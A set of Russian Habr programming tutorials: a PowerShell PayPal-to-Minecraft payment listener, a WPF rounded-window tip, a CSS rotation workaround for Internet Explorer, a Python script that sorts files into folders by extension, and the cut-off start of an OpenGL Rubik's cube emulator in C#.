$http.Prefixes.Add("http://localhost/")
$http.Prefixes.Add("https://localhost/")
$http.Start()
while ($http.IsListening) {
$context = $http.GetContext()
if ($context.Request.HttpMethod -eq 'POST' -and $context.Request.RawUrl -eq '/') {
#Читаем содержимое POST запроса
$Reader = [System.IO.StreamReader]::new($context.Request.InputStream).ReadToEnd()
#Фиксим странные руны.
$DecodedContent = [System.Web.HttpUtility]::UrlDecode($Reader)
#Преобразуем вермишель IPN в массив строк
$Payment = $DecodedContent -split "&" | ConvertFrom-StringData
#Выводим платеж в терминал.
$Payment | Format-Table
#Отвечаем клиенту 200 OK и закрываем стрим.
$context.Response.Headers.Add("Content-Type", "text/plain")
$context.Response.StatusCode = 200
$ResponseBuffer = [System.Text.Encoding]::UTF8.GetBytes("")
$context.Response.ContentLength64 = $ResponseBuffer.Length
$context.Response.OutputStream.Write($ResponseBuffer, 0, $ResponseBuffer.Length)
$context.Response.Close()
}
}
```
Нюансы Minecraft
----------------
Вот мы разобрались как мы можем получать оповещения о платежах, можно теперь их зачислять. Но тут тоже не все так просто. Проблема в том, что игра не дает давать предметы или изменять статус игроков, которые не находятся на сервере. То есть нам нужно ждать пока человек зайдет на сервер, чтобы дать ему то, за что он заплатил.
Поэтому вашему вниманию представлена общая принципиальная схема курильщика, по зачислению платежей.
Прием платежей осуществляется через Listener выше, в него была добавлена всего одна строка для записи объекта в файл. Complete-Payment (Обработчик) смотрит на никнейм и сопоставляет с именем файла. Если нашел файл, составляет команду для rcon и выполняет ее.
[Start-Minecraft,](https://habr.com/ru/company/ruvds/blog/495192/#comment_21450408) о котором автор писал в предыдущей статье был немного изменен. Теперь он слушает вывод, смотрит на ники игроков и передает их в обработчик платежей.
### Делаем самые настоящие колбеки
Не используя плагинов, мы сделаем истинные колбеки. Для этого был изменен Start-Minecraft. Теперь он не только умеет складывать StdOut в файл, но еще и проходиться по каждой строке регуляркой. Благо майнкрафт оставляет весьма специфичное сообщение, когда игрок входит на сервер.
```
[04:20:00 INFO]: UUID of player XXPROHUNTERXX is 23e93d2e-r34d-7h15 -5h17-a9192cd70b48
```
Из этой строки очень просто забрать никнейм. Вот весь код, который понадобится нам, чтобы забирать данные из строк Stdout.
```
$Regex = [Regex]::new("of player ([^ ]+)")
powershell.exe -file ".\Start-MinecraftHandler.ps1" -type $type -MinecraftPath $MinecraftPath | Tee-Object $LogFile -Append | ForEach-Object {
Write-host $_
$Player = $Regex.Matches($_).value -replace "of player "
if ($true -eq $Regex.Matches($_).Success) {
#обратный вызов стартует тут
}
}
```
На конвейер $\_ подается новая строка, её мы пишем в окно консоли и проходимся по ней регуляркой. Регулярка сама оповещает нас, когда срабатывает, что очень удобно.
Отсюда мы можем вызывать любой код. К примеру, используя это же RCON, мы можем приветствовать игрока в ПМ, с помощью бота в дискорде оповещать о том, что кто-то зашел на сервер, банить за мат, ну и так далее.
### Делаем прием платежей
Раз уж мы взялись за обработку платежей, то хотелось бы иметь как минимум достаточно полные данные об операции и историю проведенных операций, ведь речь идет о числах с двумя нулями, так сказать.
Автор хочет оставить все предельно простым и не моделировать еще базу. Давайте рассмотрим NoSQL подход. Сделаем свой собственный класс, который будем импортировать все принятые платежи в папку /payments/ в файлы в формате Json.
```
class Payment {
#Дата прихода платежа.
[datetime]$Date = [datetime]::ParseExact($i.payment_date, "HH:mm:ss MMM dd, yyyy PDT", [System.Globalization.CultureInfo]::InvariantCulture)
#Приорбетенная вещь
[string]$Item = $i.item_name
#Количество вещей
[UInt16]$Quantity = $i.Quantity
#Какую сумму мы действительно получили
[UInt16]$AmountPaid = $AmountPaid -as [UInt16]
#В какой валюте был принят платеж
[string]$Currency = $i.mc_currency
#Никнейм игрока, который получит вещь
[string]$Player = $i.option_selection1
[bool]$Completed = $false
[UInt16]$ItemId = $i.item_number
}
/source>
Из предложенной модели будет понятно, кто, когда, что и в каком объеме купил и получил ли товар.
Для кнопки, которую сгенерировал автор **option\_selection1** – это никнейм игрока. Сюда можно подставить любой собственный input, все что угодно, но в данном случае никнейм.
Свои собственные поля имеют нумерацию **option\_selection1**,**option\_selection2** и так далее.
Как ранее было показано на схеме выше, ресивер не делает ничего иного, как складывает пришедшие платежи в файл.
#Создаем новый объект по классу Payment, чтобы его легко можно было запихнуть в файл.
$Payment = [Payment]::new()
$Payment | Format-Table
#Человекопонятно обзываем файл, в формате ЧЧ-ММ-ДД-ММ-ГГГГ
$FileName = $Payment.Player + "-" + $Payment.date.Hour + "-" + $Payment.date.Minute + "-" + $Payment.date.Day + "-" + $Payment.date.Month + "-" + $Payment.date.Year + ".json"
#Составляем путь, по которому наш объект будет экспортирован
$JsonPath = Join-Path $MinecraftPath \payments\Pending $FileName
#Экспортируем объект в джисонину
$Payment | ConvertTo-Json | Out-File $JsonPath
```
Вот и все, что требовалось от нашего листенера. Получить данные от PayPal и записать в файл.
### Делаем обработку платежей
Вызывать обработчик будет та регулярка, о которой написано ранее. В модуль мы передаем никнейм игрока и все. Дальше запускается новый скрипт, который ищет файл, и если файл есть, дает игроку предмет, который записан в файле.
```
powershell.exe -file "C:\mc.fern\Start-MinecraftHandler.ps1" -type $type -MinecraftPath $MinecraftPath | Tee-Object $LogFile -Append | ForEach-Object {
#Так как строка оказалась в конвейере,нам придется её писать таким вот образом.
Write-host $_
#Класс Regex сам оповестит нас о срабатывании
if ($true -eq $Regex.Matches($_).Success) {
#Удаляем все лишне и оставляем только ник игрока
$Player = $Regex.Matches($_).value -replace "of player "
#Вызываем самописную команду, которая найдет платеж и передаст игроку предмет
Complete-Payment -Player $Player
}
}
```
При срабатывании регулярки запускается модуль, который завершает платеж, то есть, отдает игроку предмет. Для этого в папке /Payments/Pending/ скрипт ищет файлы содержащие ник игрока зашедшего в игру и читает его содержание.
Теперь нужно собрать команду для сервера и отправить её туда. Собираться она будет из файла. Ник игрока мы знаем, название предмета и его ID записали, сколько штук тоже записали, осталось только послать команду на игровой сервер. Для этого будем использовать [mcrcon](https://github.com/Tiiffi/mcrcon).
```
#Находим файл содержащий ник игрока
$JsonPath = Join-Path $MinecraftPath\payments\Pending -ChildPath $Player*
$i = $JsonPath | Get-Item | Where-Object { !$_.PSIsContainer } | Get-Content | ConvertFrom-Json -ErrorVariable Errored
#Если файл был найден выполняем процедуру зачисления
if ($null -ne $i) {
#Составляем команду
$Command = '"' + "give " + $i.Player + " " + $i.Item + " " + $i.Quantity + '"'
Write-host $Command -ForegroundColor Green
#Отправляем команду на сервер
Start-Process -FilePath mcrcon.exe -ArgumentList "-H localhost -p 123 -w 5 $Command"
#Составляем путь, по которому наш объект будет экспортирован
$JsonPath = Join-Path $MinecraftPath\payments\Pending -ChildPath $FileName
#Экспортируем объект в джисонину
$i | ConvertTo-Json | Out-File $JsonPath
#Перемещаем завершенный платеж в другую папку
Move-Item -Path $JsonPath -Destination $MinecraftPath\payments\Completed
}
```
### Оформляем это все в удобный модуль
Для процесса Java и процесса WebListener требуются разные потоки, но автора не устраивает нужда запускать отдельно WebListener и отдельно сервер. Автор хочет все и сразу одной командой.
Поэтому используя Powershell 7, мы запустим и то и то. А поможет нам:
```
ForEach-Object -Parallel {}
```
Командлет работает с inputObject, поэтому мы подаем на него незамысловатый массив, а разделяем потоки с помощью свитча.
```
"A", "B" | ForEach-Object -Parallel {
Import-Module ".\Start-Minecraft.ps1"
Import-Module ".\Start-WebListener.ps1"
switch ($_) {
"A" {
Start-WebListener -Path "C:\mc\"
}
"B" {
Start-Minecraft -Type Vanilla -LogFile ".\stdout.txt" -MinecraftPath "C:\mc\"
}
}
}
```
Таким вот костыльным образом мы запустили два разных процесса из одного терминала и даже не потеряли инпут. Но тут появилась еще одна проблема. WebListener лочит за собой консоль после штатной остановки сервера и никуда не хочет уходить.
Чтобы не перезапускать терминал каждый раз, в Start-MinecraftHandler.ps1 и в Start-WebListener.ps1 был добавлен рандомный ключ, который будет останавливать сервер по POST на WebListener.
Start-MinecraftHandler.ps1, когда фиксирует успешное завершение выполняет команду:
```
Invoke-WebRequest -Method Post -Uri localhost -Body $StopToken | Out-Null
```
$StopToken содержит случайное числовое значение, которое заранее передается скриптом запуска и в Listener и в Handler. Listener смотрит, что ему пришло в запросе и выключается, если тело запроса совпадает с $StopToken.
```
if ($DecodedContent -eq $StopToken) {
Write-Host "Stopping WebListener"
$context.Response.Headers.Add("Content-Type", "text/plain")
$context.Response.StatusCode = 200
$ResponseBuffer = [System.Text.Encoding]::UTF8.GetBytes("")
$context.Response.ContentLength64 = $ResponseBuffer.Length
$context.Response.OutputStream.Write($ResponseBuffer, 0, $ResponseBuffer.Length)
$context.Response.Close()
$http.Close()
break
}
```
Достаточно безопасно, о токене знает только оперативная память и более никто. Все модули запускаются из-под PowerShell 7, а путь к модулям для PowerShell 7 отличается от пути в Windows Powershell. Все было сложено сюда. Имейте в виду при написании своих собственных.
```
C:\Program Files\PowerShell\7\Modules
```
### Делаем конфиг файл
Чтобы всем этим безобразием можно было пользоваться без сильной головной боли, нужно сделать нормальный конфиг файл. Файл будет содержать в себе переменные и не более того. Цепляется конфиг с помощью стандартного:
```
Import-Module $MinecraftPath\config.ps1 -Force
```
Указывать нам нужно самое важное. Домен, который прослушивается, регулярку, которая ищет ник игрока, ибо от версии к версии вывод может быть разным, и пароль от rcon.
Выглядит он вот так:
```
#Домен, который мы будем слушать
$DomainName = "localhost"
#регулярное выражение, которое фиксирует вход игрока в игру
#не изменяйте, если работает
$RegExp = "of player ([^ ]+)"
#После успешного нахождения по паттерну, нужно отрезать все, кроме ника.
$RegExpCut = "of player "
#Пароль от rcon, который был задан в server.properties
$rconPassword = "123"
```
Помещать конфиг желательно в папку с сервером, потому что скрипт ищет его в корне -MinecraftPath
### Как всем этим пользоваться?
В первую очередь, эти скрипты установлены и готовы к использованию в маркетплейсе [Ruvds](https://ruvds.com/ru-rub/marketplace/minecraft), но если вы еще не клиент или не опробовали образ, вот ссылка на все файлы в [репозитории](https://github.com/nneeoo/Start-Minecraft), не стесняйтесь коммитить.
1. [Скачайте](https://github.com/PowerShell/PowerShell/releases/tag/v7.0.0) и установите PowerShell 7
2. Скачайте и распакуйте архив с модулями
Теперь все нужные модули и команды у нас появились. Что же они делают?
### Start-Minecraft
Параметры:
**-Type**
Forge или Vanilla. Запускает сервер либо с Server.Jar, либо Forge, выбирая самую последнюю версию, которая есть в папке.
**-MinecraftPath**
Указывает на папку, из которой будет запущен сервер.
**-LogFile**
Альтернативный способ сбора логов. Указывает на файл, в который будет записываться все, что появляются в консоли.
**-StartPaymentListener**
Вместе с сервером запускает и прием платежей. Сам прием платежей доступен как отдельный модуль. Заменяет командлет Start-Weblistener
### Start-Weblistener
Запускает модуль приема платежей.
**-MinecraftPath**
Указывает на папку с конфиг файлом.
**-StopToken**
Указывает -Body HTTP POST запроса для остановки WebListener’a.
### Вывод:
Ну и чудеса же случаются.
[](http://ruvds.com/ru-rub/?utm_source=habr&utm_medium=article&utm_campaign=machekhin&utm_content=platezhi-minecraft-povershell) | https://habr.com/ru/post/501568/ | null | ru | null |
# WPF Tipz #1
Давеча у меня сломались уголки, нет ну натурально — сломались,
нет слава богу не в жизни, а только в приложении.
Жило себе приложение полгода и хоть бы хны, а тут раз и уголки у него сломались.
P.S
Тема уголков в WPF можеть быть не в полной мере раскрыта,
собственно ваши варианты по реализациям очень приветствуются :)
Думал, пыхтел, воевал с радиусами и с углами и с толщиной и с прозрачностью,
ничего не выходило…
А тем временем, в Visual Studio все выглядело нормально:
В отличии от скомпилированного варианта:
Пошел я ругаться на обновление студии SP1, а попутно и вопрошать что же делать…
Подождал как водится ответа, но тут сообразил что может и видеокарта виновата,
недавно обновил на 9600GT, может братья китайцы пошаманили…
Написал, нуль ответа…
Прошел час, мозг пробуждаясь от активность к пассивности подталкивал меня к утилите настройке драйвера Nvidia, зашел я туда в опции 3D, так там все с упором на качество…
Должно же ведь наоборот не быть такого…
Изменил я настройки на «Настройки согласно 3D-приложению»…
Мои уголки загорелись синим, думаю неспроста это и перекомпилировал приложение и
радости не было предела, мои уголки пришли обратно ко мне :)
[](http://zabr-lab.ru/articles/wpf/wpf_3.jpg)
P.S
Надеюсь мой опыт поможет кому-либо.
Просьба не минусовать меня тем людям которым не нравятся уголки или
WPF или Microsoft или шум на берегу Канарских островов.
P.P.S
Код Уголков:
`> <Window x:Class="ZabrRssReader.Forms.Windows.ViewFeedItem"
>
> xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
>
> xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
>
>
> Width="310" Height="260" WindowStyle="None" Background="Transparent"
>
> AllowsTransparency="True" WindowStartupLocation="CenterOwner">
>
> <Border BorderThickness="3,5,3,5" CornerRadius="20,20,20,20" Padding="10">
>
>
>
> <Border.BorderBrush>
>
> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1">
>
> <GradientStop Color="#FFAAAAAA" Offset="0">GradientStop>
>
> <GradientStop Color="#FFAAAAAA" Offset="1">GradientStop>
>
> LinearGradientBrush>
>
> Border.BorderBrush>
>
>
>
> <Border.Background>
>
> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1">
>
> <GradientStop Color="#615B5D" Offset="0">GradientStop>
>
> <GradientStop Color="#615B5D" Offset="0.2">GradientStop>
>
> <GradientStop Color="#615B5D" Offset="0.3">GradientStop>
>
> <GradientStop Color="#615B5D" Offset="0.2">GradientStop>
>
> <GradientStop Color="#000000" Offset="1">GradientStop>
>
> LinearGradientBrush>
>
> Border.Background>
>
>
>
> <TextBlock TextAlignment="Center" VerticalAlignment="Center">
>
> Hello World!
>
> TextBlock>
>
> Border>
>
> Window>`
===========================================================
Строка делает уголки и толщину границ:
> <Border BorderThickness=«3,5,3,5» CornerRadius=«20,20,20,20» Padding=«10»>
Для того чтобы уголки можно было нормально «щупать» включаем прозрачность в окне:
WindowStyle=«None» Background=«Transparent» AllowsTransparency=«True»
А для того чтобы мы могли перемещать формочку за «части тела» добавляем метод
MouseDown=«Window\_MouseDown» в строку описания окна, и в файл кода добавляем метод:
> //Makes Window Moving
>
> private void Window\_MouseDown(object sender, MouseButtonEventArgs e)
>
> {
>
> if (e.LeftButton == MouseButtonState.Pressed) DragMove();
>
> }
P.P.P.S
Интересна ли вам серия статей в виде типзов ну или чуть более академически-сухих по WPF? | https://habr.com/ru/post/40489/ | null | ru | null |
# css Rotate. Возможен и в IE
Буду краток.
css свойство transform:rotate в ИЕ не доступно.
Но все знают что есть фильтр **progid:DXImageTransform.Microsoft.Matrix**, который конечно поворачивает изображение. Но скажем так *не совсем* правильно.
99% статей про использование этого фильтра содержат примерно такую фразу.
> filter: матрица трансформации
>
> left:?
>
> right:?
>
> \*ps: left и right находятся эмпирически
На самом деле это не так.
Я не буду тут вставлять километры кода.
Ограничусь главным
1. Высчитываем угол
`var rad = (angle * Math.PI) / 180.0;
cos = Math.cos(rad),
sin = Math.sin(rad);`
2. Получаем матрицу трансформации
`var filter='progid:DXImageTransform.Microsoft.Matrix(sizingMethod="auto expand", M11 = ' + cos + ', M12 = ' + (-sin) + ', M21 = ' + sin + ', M22 = ' + cos + ')';`
3. На этот пункте мы получим специфическое смешение по X и Y
Можно конечно провести простейшие матричные операции и получить этот самый искомый офсет, но на самом деле — **можно еще проще**(я так думаю что матрицы все давно уже позабыли)
В самом начале требуется запомнить размеры элемента.
А после поворота — сместить его на дельту текущих размеров по сравнению с исходными, делить на два.
Тоесть
`var sizeopt={
w:test.width(),
h:test.height()
};
.....
//узнаем какие размеры у обьекта сейчас
var w=test.width();
var h=test.height();
//и сместим на дельту разницы
test.css({'margin-left':-Math.round((w-sizeopt.w)/2),'margin-top':-Math.round((h-sizeopt.h)/2)});`
[Пример](http://kashey.ru/maps/ie6rotate/), [чистый исходник](http://kashey.ru/pages/maps/ie6rotate.php)
Открывать примеры НЕ в ИЕ — смысла нет.
Любителям прекрастного — есть более каноническое решение, в том числе с возможность управлять поворотом через css — [cssSandpaper](http://www.useragentman.com/blog/2010/03/09/cross-browser-css-transforms-even-in-ie/) — там можно найти и классическую математику и различные workaround враперов вокруг крутящийся элементов. Но кода там очень много. Лично для моих задач лишнего.
PS: жизнь прекрасна, как не крути | https://habr.com/ru/post/107183/ | null | ru | null |
# Сортируем файлы с помощью Python
Штош. Скорее всего, у многих в папке загрузок собиралась куча разных инсталляторов, архивов и прочих файлов. Намного проще найти нужное, когда папки отсортированы в едином стиле. Вот я и подумал, почему бы не написать скрипт сортировщика по расширениям файлов на Python?
Пишем код
---------
Для начала импортируем **стандартный модуль os** для работы с операционной системой. С помощью этого модуля мы будем создавать папки и перемещать файлы.
```
import os
```
Создадим переменную для пути папки или диска, в которой мы будем сортировать файлы. В моих любимых окошечках путь к файлу записывается через backslash, который в Python является специальным символом экранирования. Поэтому мы либо пишем 2 бэкслэша, либо добавляем перед строкой букву r, тем самым подавляя экранирование.
```
main_path = 'd:\\down'
# main_path = r'd:\down
```
Чтобы создать папку, используем метод **os.mkdir()**
```
os.mkdir(main_path + '\\aboba')
```
Создаем много папок
-------------------
Напишем функцию для создания папок из списка названий. Для каждого названия проверяем существование папки с помощью метода **os.path.exists().**
```
# also creates folders from dictionary keys
def create_folders_from_list(folder_path, folder_names):
for folder in folder_names:
if not os.path.exists(f'{folder_path}\\{folder}'):
os.mkdir(f'{folder_path}\\{folder}')
```
Теперь давайте создадим словарь extensions. Ключи - названия папок. Значения - расширения файлов для каждой отдельной папки.
```
# key names will be folder names!
extensions = {
'video': ['mp4', 'mov', 'avi', 'mkv', 'wmv', '3gp', '3g2', 'mpg', 'mpeg', 'm4v',
'h264', 'flv', 'rm', 'swf', 'vob'],
'data': ['sql', 'sqlite', 'sqlite3', 'csv', 'dat', 'db', 'log', 'mdb', 'sav',
'tar', 'xml'],
'audio': ['mp3', 'wav', 'ogg', 'flac', 'aif', 'mid', 'midi', 'mpa', 'wma', 'wpl',
'cda'],
'image': ['jpg', 'png', 'bmp', 'ai', 'psd', 'ico', 'jpeg', 'ps', 'svg', 'tif',
'tiff'],
'archive': ['zip', 'rar', '7z', 'z', 'gz', 'rpm', 'arj', 'pkg', 'deb'],
'text': ['pdf', 'txt', 'doc', 'docx', 'rtf', 'tex', 'wpd', 'odt'],
'3d': ['stl', 'obj', 'fbx', 'dae', '3ds', 'iges', 'step'],
'presentation': ['pptx', 'ppt', 'pps', 'key', 'odp'],
'spreadsheet': ['xlsx', 'xls', 'xlsm', 'ods'],
'font': ['otf', 'ttf', 'fon', 'fnt'],
'gif': ['gif'],
'exe': ['exe'],
'bat': ['bat'],
'apk': ['apk']
}
```
Передаем в функцию **create\_folders\_from\_list()** новоиспеченный словарь. Папки создадутся из названий ключей.
Получаем пути подпапок и файлов
-------------------------------
Пишем функцию для получения путей подпапок. Для каждого объекта в методе **os.scandir()** проверяем, является ли он каталогом.
```
def get_subfolder_paths(folder_path) -> list:
subfolder_paths = [f.path for f in os.scandir(folder_path) if f.is_dir()]
return subfolder_paths
```
Можно создать функцию получения имен подпапок, которая нам не пригодится дальше. Почему бы и нет? На самом деле, как сниппет для дальнейших проектов она может быть полезна.
Нам нужно взять пути подпапок, разделить по бэкслэшам строку и взять последний элемент.
```
def get_subfolder_names(folder_path) -> list:
subfolder_paths = get_subfolder_paths(folder_path)
subfolder_names = [f.split('\\')[-1] for f in subfolder_paths]
return subfolder_names
```
Теперь получим пути всех файлов в папке, скопируем функцию **get\_subfolder\_paths()** и добавим в условие генератора **not.**
```
def get_file_paths(folder_path) -> list:
file_paths = [f.path for f in os.scandir(folder_path) if not f.is_dir()]
return file_paths
```
Для полного счастья не хватает только функции получения имен файлов.
```
def get_file_names(folder_path) -> list:
file_paths = [f.path for f in os.scandir(folder_path) if not f.is_dir()]
file_names = [f.split('\\')[-1] for f in file_paths]
return file_names
```
Сортируем файлы
---------------
Приступаем к функции сортировки. Получаем пути файлов в переменную **file\_paths**. Создаем переменную **ext\_list** со списком метода словаря **extensions.items().** Обращение к списку по индексу возвращает нам пару ключ-значение в виде списка, первый элемент которого - это ключ или название папки в нашем проекте, а второй элемент - это значение, то есть расширения файлов для этой папки.
```
def sort_files(folder_path):
file_paths = get_file_paths(folder_path)
ext_list = list(extensions.items())
```
Теперь создадим цикл для каждого пути файла в списке. Вытащим отдельно расширение и имя файла.
```
for file_path in file_paths:
extension = file_path.split('.')[-1]
file_name = file_path.split('\\')[-1]
```
Создадим еще один цикл внутри. Для каждого ключа в словаре мы проверяем, есть ли расширение файла в списке расширений. Если есть, то перемещаем файл.
```
for dict_key_int in range(len(ext_list)):
if extension in ext_list[dict_key_int][1]:
print(f'Moving {file_name} in {ext_list[dict_key_int][0]} folder\n')
os.rename(file_path, f'{main_path}\\{ext_list[dict_key_int][0]}\\{file_name}')
```
Сделать это можно при помощи изменения пути файла методом **os.rename("Путь файла сейчас", "Будущий путь файла")**
#### Готовая функция сортировки файлов:
```
def sort_files(folder_path):
file_paths = get_file_paths(folder_path)
ext_list = list(extensions.items())
for file_path in file_paths:
extension = file_path.split('.')[-1]
file_name = file_path.split('\\')[-1]
for dict_key_int in range(len(ext_list)):
if extension in ext_list[dict_key_int][1]:
print(f'Moving {file_name} in {ext_list[dict_key_int][0]} folder\n')
os.rename(file_path, f'{main_path}\\{ext_list[dict_key_int][0]}\\{file_name}')
```
Удаляем пустые папки
--------------------
Остался последний штрих - удаление пустых папок. Все просто. Создаем функцию. Получаем пути подпапок. Проверяем, какой список возвращает метод **os.listdir("folder\_path")** для каждой подпапки. Если возвращается пустой список, значит удаляем папку с помощью **os.rmdir("folder\_path")**
```
def remove_empty_folders(folder_path):
subfolder_paths = get_subfolder_paths(folder_path)
for p in subfolder_paths:
if not os.listdir(p):
print('Deleting empty folder:', p.split('\\')[-1], '\n')
os.rmdir(p)
```
Полный код программы
--------------------
```
import os
main_path = 'd:\\down'
# key names will be folder names!
extensions = {
'video': ['mp4', 'mov', 'avi', 'mkv', 'wmv', '3gp', '3g2', 'mpg', 'mpeg', 'm4v', 'h264', 'flv',
'rm', 'swf', 'vob'],
'data': ['sql', 'sqlite', 'sqlite3', 'csv', 'dat', 'db', 'log', 'mdb', 'sav', 'tar', 'xml'],
'audio': ['mp3', 'wav', 'ogg', 'flac', 'aif', 'mid', 'midi', 'mpa', 'wma', 'wpl', 'cda'],
'image': ['jpg', 'png', 'bmp', 'ai', 'psd', 'ico', 'jpeg', 'ps', 'svg', 'tif', 'tiff'],
'archive': ['zip', 'rar', '7z', 'z', 'gz', 'rpm', 'arj', 'pkg', 'deb'],
'text': ['pdf', 'txt', 'doc', 'docx', 'rtf', 'tex', 'wpd', 'odt'],
'3d': ['stl', 'obj', 'fbx', 'dae', '3ds', 'iges', 'step'],
'presentation': ['pptx', 'ppt', 'pps', 'key', 'odp'],
'spreadsheet': ['xlsx', 'xls', 'xlsm', 'ods'],
'font': ['otf', 'ttf', 'fon', 'fnt'],
'gif': ['gif'],
'exe': ['exe'],
'bat': ['bat'],
'apk': ['apk']
}
# also creates folders from dictionary keys
def create_folders_from_list(folder_path, folder_names):
for folder in folder_names:
if not os.path.exists(f'{folder_path}\\{folder}'):
os.mkdir(f'{folder_path}\\{folder}')
def get_subfolder_paths(folder_path) -> list:
subfolder_paths = [f.path for f in os.scandir(folder_path) if f.is_dir()]
return subfolder_paths
def get_file_paths(folder_path) -> list:
file_paths = [f.path for f in os.scandir(folder_path) if not f.is_dir()]
return file_paths
def sort_files(folder_path):
file_paths = get_file_paths(folder_path)
ext_list = list(extensions.items())
for file_path in file_paths:
extension = file_path.split('.')[-1]
file_name = file_path.split('\\')[-1]
for dict_key_int in range(len(ext_list)):
if extension in ext_list[dict_key_int][1]:
print(f'Moving {file_name} in {ext_list[dict_key_int][0]} folder\n')
os.rename(file_path, f'{main_path}\\{ext_list[dict_key_int][0]}\\{file_name}')
def remove_empty_folders(folder_path):
subfolder_paths = get_subfolder_paths(folder_path)
for p in subfolder_paths:
if not os.listdir(p):
print('Deleting empty folder:', p.split('\\')[-1], '\n')
os.rmdir(p)
if __name__ == "__main__":
create_folders_from_list(main_path, extensions)
sort_files(main_path)
remove_empty_folders(main_path)
```
Настройка программы под свои нужды
----------------------------------
Как вы уже могли понять, программа довольно гибкая, и вы можете настроить ее под себя. Для этого нужно всего-лишь изменить словарь extensions.
Приведу пример. Для каждого видео на свой [YouTube канал](https://www.youtube.com/channel/UCWNlTmzBisvogxKQMV-lhRw) я создаю каталог, в котором есть папки для футажей, картинок, звука, mkv файлов для последующего конвертирования в mp4 (premiere не любит mkv) и самого проекта.
Вот такой словарь.
```
main_folder = 'f:\\shtosh python\\new video'
# key names will be folder names!
extensions = {
'img': ['jpg', 'png', 'bmp', 'gif', 'ico', 'jpeg'],
'audio': ['mp3', 'wav'],
'footage': ['mp4', 'mov', 'avi'],
'mkv': ['mkv'],
'prj': []
}
```
С помощью такого подхода я могу накидать любые файлы для монтажа в одну папку, затем запустить скрипт и легко импортировать все это дело в premiere pro.
Заключение
----------
Штош. Код лежит на [GitHub.](https://github.com/lesskop/file-sorter) Берите, изменяйте под себя, пользуйтесь на здоровье. Буду рад любому фидбеку.
---
UPD. Доработал программу, учитывая (не все) замечания в комментариях. Статью не переписывал, мне лень. | https://habr.com/ru/post/562362/ | null | ru | null |
# Пишем эмулятор Кубика Рубика
OpenGL — платформонезависимая спецификация, описывающая программный интерфейс для создания компьютерных приложений, использующих двухмерную и трехмерную графику.
В этой статье я опишу, как можно создать эмулятор Кубика Рубика на OpenGL.
Кубик будет в 3D и его можно будет вращать мышкой, а переворачивать грани можно, кликая мышкой по стрелкам. При том стрелки появляются у ближайшей к зрителю грани.
Я буду описывать создание эмулятора Кубик Рубика на языке C#, для OpenGL буду использовать библиотеку [OpenTK](http://www.opentk.com/). Надо её скачать, и сделать в Visual Studio ссылку на эту библиотеку.
#### Экскурс в 3D
Теперь небольшое описание про 3D. Объекты в 3D у нас имеют 3 координаты x, y, z, а на экране монитора только две координаты. Очевидно, что на экране монитора надо показывать проекцию.
Но задние предметы или которые стоят сбоку мы не должны проецировать. Также мы не должны проецировать предменты, которые стоят слишком далеко. (Вспомните, как в гонках, далекие предметы появляются когда к ним начинаешь подъезжать).
Поэтому надо ограничить то, что мы можем видеть:
Такая усеченная пирамида называется Фруструм (FrustRum), чтобы показать предмет на экране, мы определяем помещается ли он в Фруструме (те части, которые не помещаются мы отсекаем), потом мы проецируем на экран. Всё это за нас делает OpenGL.
#### Проба пера
[Скачиваем библиотеку OpenTK](http://www.opentk.com/files/download-opentk.html). Запускаем файл, распаковываем библиотеку.
Создаём проект, добавляем ссылку на файл OpenTK.dll. А так как, мы будем использовать контрол GLControl, на котором будет отображаться Кубик Рубика, добавляем ещё и ссылку на OpenTK.GLControl.dll
OpenTK требует также ссылку на System.Drawing.dll, поэтому ещё раз входим в интерфейс добавления ссылки, и выбираем вкладочку .Net и ищем System.Drawing, и добавляем.
**Добавление библиотеки OpenTK**
Я буду использовать OpenGL, внутри обычной GUI-программы. Поэтому в режиме конструктора кликаем правой кнопкой мыши по панели инструментов, и выбираем “Выбрать элементы”, переходим на вкладку “Компоненты .NET Framework” и выбираем файл OpenTK.GLControl.dll. В списке появится новый элемент GLControl, ставим напротив него галочку. ОК. На панели инструментов появится новый элемент GLControl. Переносим его на форму и растягиваем на всю её форму.
**Добавление контрола GLControl (канвас, холст)**
Элемент GLControl имеет событие Load, оно срабатывает, когда этот элемент загрузился.
(Щелкнем по нему, чтобы заполнить тело обработчика, появится метод glControl1\_Load)
Создатели OpenTK не рекомендуют начинать работать с GLControl, пока он не загрузился, поэтому нужно заводить переменную, которая будет хранить значение, загрузился ли GLControl:
**Код**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using OpenTK;
using OpenTK.Graphics.OpenGL;
namespace habr
{
public partial class Form1 : Form
{
bool loaded = false;//<--------------------------------------
public Form1()
{
InitializeComponent();
}
private void glControl1_Load(object sender, EventArgs e)
{
loaded = true;//<--------------------------------------
}
private void glControl1_Paint(object sender, PaintEventArgs e)
{
if (!loaded)//<--------------------------------------
return;//<--------------------------------------
}
}
}
```
glControl1\_Load — метод, который обрабатывает событие Load
glControl1\_Paint — метод, который обрабатывает событие Paint, срабатывает, например, когда мы скрываем, а потом снова открываем окно или, например, изменяем размеры окна.
Собственно нарисуем кубик.
**Код, рисующий маленький кубик**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using OpenTK;
using OpenTK.Graphics.OpenGL;
namespace habr
{
public partial class Form1 : Form
{
bool loaded = false;
public Form1()
{
InitializeComponent();
}
private void glControl1_Load(object sender, EventArgs e)
{
loaded = true;
GL.ClearColor(Color.SkyBlue);
GL.Enable(EnableCap.DepthTest);
Matrix4 p = Matrix4.CreatePerspectiveFieldOfView((float)(80 * Math.PI / 180), 1, 20, 500);
GL.MatrixMode(MatrixMode.Projection);
GL.LoadMatrix(ref p);
Matrix4 modelview = Matrix4.LookAt(70, 70, 70, 0, 0, 0, 0, 1, 0);
GL.MatrixMode(MatrixMode.Modelview);
GL.LoadMatrix(ref modelview);
}
private void glControl1_Paint(object sender, PaintEventArgs e)
{
if (!loaded)
return;
GL.Clear(ClearBufferMask.ColorBufferBit | ClearBufferMask.DepthBufferBit);
float width = 20;
/*задняя*/
GL.Color3(Color.Red);
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, width, 0);
GL.Vertex3(0, width, 0);
GL.End();
/*левая*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(0, width, width);
